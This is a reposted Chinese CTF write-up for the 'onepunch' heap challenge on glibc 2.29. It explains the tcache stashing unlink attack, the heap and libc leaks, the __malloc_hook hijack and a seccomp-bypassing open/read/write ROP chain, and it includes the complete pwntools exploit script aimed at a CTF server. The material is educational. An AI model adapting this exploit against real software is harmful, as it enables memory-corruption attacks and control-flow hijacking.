ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[A]onepunch(tcache stash&&seccomp)

2021-08-04 19:32:20  阅读:236  来源: 互联网

标签:tcache p64 libc chunk add base onepunch && rop


程序调用的是calloc,这个函数不会从tcache中取chunk。所以直接add free 重复填满tcache,利用uaf泄露heap和libc

tcache per thread struct是来管理链表上堆块的数量的,大小一共是0x250,在heap开头。其中counts一共占0x40,每一个字节都代表一个大小范围正好对应64个entry,第一个字节代表0x10,类推。本题中数一数就是对应0x220的size的地方需要大于6,虽然我们可以申请7个0x220的chunk来让他变为7,可以通过if,但是之后malloc的0x217也是0x220的范围,这意味着malloc将无法使用tcache,做不到任意地址写。接得用别的方法进行修改。

因为2.29的libc已经加了unsortedbin链表完整性检查,所以无法在使用unsortedbin attack,
用新方法,tcache stashing unlink attack,就是,从smallbin中进行calloc时,因为时FIFO,所以取链表尾,此时检查链表完整性,然后会查看对应大小的tcache是否满,如果没有满,会将剩下的smallbin chunk从链表尾依次放入tcache,但在检查完unlink拿取的chunk的完整性后,他没有检查后续chunk的真假,unlink时开始bk是指向尾chunk(bck=bin->bk),调整后,bck会指向倒数第二个chunk,最后他会bin->bk = bck,bck->fd = bin(在这一步就会在fd处写上一个地址),bin是smallbin地址,bck的small的bk指针,后续每一个移入tcache的chunk的都这么处理
所以我们在smallbin中放入两个chunk,表头叫bin1,表尾叫bin2,在bin1的bk处写上target_addr-0x10(fd),之后申请出bin2,就会把后续的chunk放入tcache,并且在fd写入地址。但因为我们指向的target不是chunk,所以将他放入tcache时会导致内存错误,于是我们就要提前准备好tcache,我们放6个相应大小chunk在里面,这样allocate拿走bin2,stash拿走bin1到tache,之后给target写值,tcache满了,就不会在继续了。

怎么让chunk进入smallbin?首先放入unsortedbin,之后申请chunk时,如果比unsortedbin中的chunk更大,就会触发consolidate将unsortedbin中的chunk放入smallbin。

记得还要提前把0x218大小得chunk放入tcache,并且指向malloc_hook。所以现在,可以拿到malloc_hook了,因为有沙箱,我们需要构造rop链来绕过,

open(flag_addr,0)flag_addr是文件名字符串的地址
read(3,flag_addr,0x30) 012是标准输入,输出,出错。3就是打开的文件
write(1,flag_addr,0x30) 1是输出模式

这里还有些疑问,做法是把hook改成了add rsp,0x48;ret的gadget,我猜测这应该是调用hook时,我们写入的rop链正好在rsp+0x48的地方,但我实际调试好像是在0x40,应该是调用hook时,还会压入一个返回地址,所以一共0x48。之后去查资料再验证。

rop chain是对libc进行rop,所以gadget很直接。

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')

# p = process('./punch')
# libc = ELF('/glibc/2.29/amd64/lib/libc-2.29.so')

p = remote("node4.buuoj.cn",26977)
libc = ELF('/home/giantbranch/Desktop/libc/amd64/libc-2.29.so')

elf = ELF('./punch')

def add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)


def edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)



#full tcache
for i in range(7):
    add(0,'a'*0x400)
    free(0)


#leak heap base
show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x16b0
log.info("heap_base="+hex(heap_base))


#remain one for smallchunk
for i in range(6):
    add(0,'a'*0xf0)
    free(0)


#leak libc base
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]


#make tcache write anywhere
add(1,'a'*0x218)#cut from unsortedbin
free(1)#to tcache
edit(1,p64(malloc_hook))
add(1,'a'*0x1d0)#clear unsortedbin
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)#into unsortedbin 0x400


#make small bin*2
add(0,'a'*0x300)#cut unsortedbin to remain 0x100
add(0,'a'*0x200)#smallbin to 0x100

add(0,'a'*0x400)
add(1,'a'*0x200)
free(0)#in unsortedbin
add(2,'a'*0x300)#cut
add(2,'a'*0x200)#smallbin to 0x100 again
edit(0,'d'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x2ff0)+p64(heap_base+0x30-0x5-0x10))


#make stash
add(2,'a'*0xf0)#get last chunk from smallbin


#get malloc_hook
add_rsp_0x48 = libc_base+0x8cfd6
BackDoor("./flag\x00".ljust(8,'\x00'))#name of file
BackDoor(p64(add_rsp_0x48))#get malloc_hook

#rop to orw
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0xcf6c5
flag_addr = heap_base+0x24d0
#open(flag_addr,0)
rop_chains = p64(pop_rdi)+p64(flag_addr)
rop_chains+= p64(pop_rsi)+p64(0)
rop_chains+= p64(pop_rax)+p64(2)
rop_chains+= p64(syscall)
#read(3,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(3)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(0)
rop_chains+= p64(syscall)
#write(1,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(1)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(1)
rop_chains+= p64(syscall)

add(0,rop_chains)
#gdb.attach(p)
p.interactive()

标签:tcache,p64,libc,chunk,add,base,onepunch,&&,rop
来源: https://blog.csdn.net/qq_33590156/article/details/119391247

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有